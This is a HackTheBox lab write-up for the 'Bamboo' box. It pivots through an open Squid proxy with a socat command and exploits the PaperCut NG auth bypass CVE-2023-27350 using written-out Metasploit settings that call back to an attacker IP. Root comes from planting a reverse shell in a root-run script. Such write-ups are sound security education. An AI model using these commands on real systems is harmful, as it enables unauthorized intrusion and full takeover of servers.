
HTB: Bamboo
An open Squid proxy lets us reach an internal PaperCut NG server, the CVE-2023-27350 auth bypass gets a shell once Metasploit is routed through the proxy, and a root-run PaperCut script we can write to finishes the box.
Bamboo is a Linux box from HackTheBox. An open Squid proxy lets us reach a PaperCut NG server that's only listening internally, and a PaperCut auth bypass gets us a shell. Root comes from a script PaperCut runs as root that we're allowed to edit. Let's get into it.
Recon
First thing we are going to do is run our nmap scan on the system.
nmap -sCV -p- -Pn 10.129.238.16 -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

Looking at the scan, we only have SSH and a Squid proxy on 3128. Doing some research on this version, we find out it has multiple critical vulnerabilities. But the more useful thing is that the proxy is open to us, so we can use it to reach ports on the box that aren't exposed to the outside.
Scanning through the proxy
Hitting the proxy with curl, we ask it for 127.0.0.1 on each of the top 10000 ports and note the HTTP status codes that come back. We find a few of interest:

These are PaperCut NG ports (9191 is its web interface), and PaperCut NG has a high severity vulnerability, CVE-2023-27350. It's an authentication bypass: the setup wizard's SetupCompleted page can still be reached after setup and logs us straight in as admin. From there, PaperCut's scripting features can be abused to run commands on the server.
PaperCut PoC
There is a PoC available online, so let's pull it to our Kali box: horizon3ai/CVE-2023-27350.
This is pretty simple to use, so let's start our nc listener on 9001 and run the PoC against 127.0.0.1:9191 through the proxy, with a bash reverse shell as the command.

We didn't get a shell, though. The output tells us why: the PoC runs its command through a printer script, and it warns there might not be a printer configured. Let's dig into this and see what we can do.
We'll have to access the PaperCut web interface manually through this proxy with our browser. FoxyProxy didn't get us there, but socat did. It listens locally on 19191 and forwards everything through Squid to the internal PaperCut port. Just run this in another tab:
socat TCP-LISTEN:19191,reuseaddr,fork PROXY:10.129.238.16:127.0.0.1:9191,proxyport=3128
Then visit the URL:
http://127.0.0.1:19191/app?service=page/Dashboard
Heading over to the options, we see that User/Group Sync can run a custom program. Let's try to get a shell back to our nc this way.

It didn't work, but we are making progress here. Let's try altering that bash line.
Metasploit to the rescue
OK, after fiddling around, I went with the Metasploit module instead, and it got us a meterpreter shell! The important settings are pointing it at the internal PaperCut port through the Squid proxy, and ReverseAllowProxy so the payload is allowed to call back to us directly:
use exploit/multi/http/papercut_ng_auth_bypass
set RHOSTS 127.0.0.1
set RPORT 9191
set Proxies http:10.129.238.16:3128
set ReverseAllowProxy true
set LHOST 10.10.14.211
run

We go to the user's home directory, /home/papercut, and there we find the user.txt flag.

Privesc: PaperCut's server-command script
OK, now for the privesc, let's explore a bit here. On the shell, we have rwx on this script:
/home/papercut/server/bin/linux-x64/server-command
We can write to it, and PaperCut also runs it as root. So we add a bash reverse shell to it, pointed at a new listener on 9002. Then we need to get PaperCut to launch it. Go to Enable Printing in the admin panel:

Hit BYOD-friendly print queues, then Next, and finally Start Importing. This triggers our shell code.

We are in as root! The shell lands in PaperCut's print-deploy folder, which tells us it's the print-deploy component, running as root, that calls server-command. Heading over to the root directory, we can grab our root.txt flag.

Closing thoughts
This was a fun box. I got a little lost with the custom PoC and had to fall back on a Metasploit exploit, but once in, the rest was smooth sailing. I would recommend this to beginners to get experience modifying PoCs and researching how programs work.
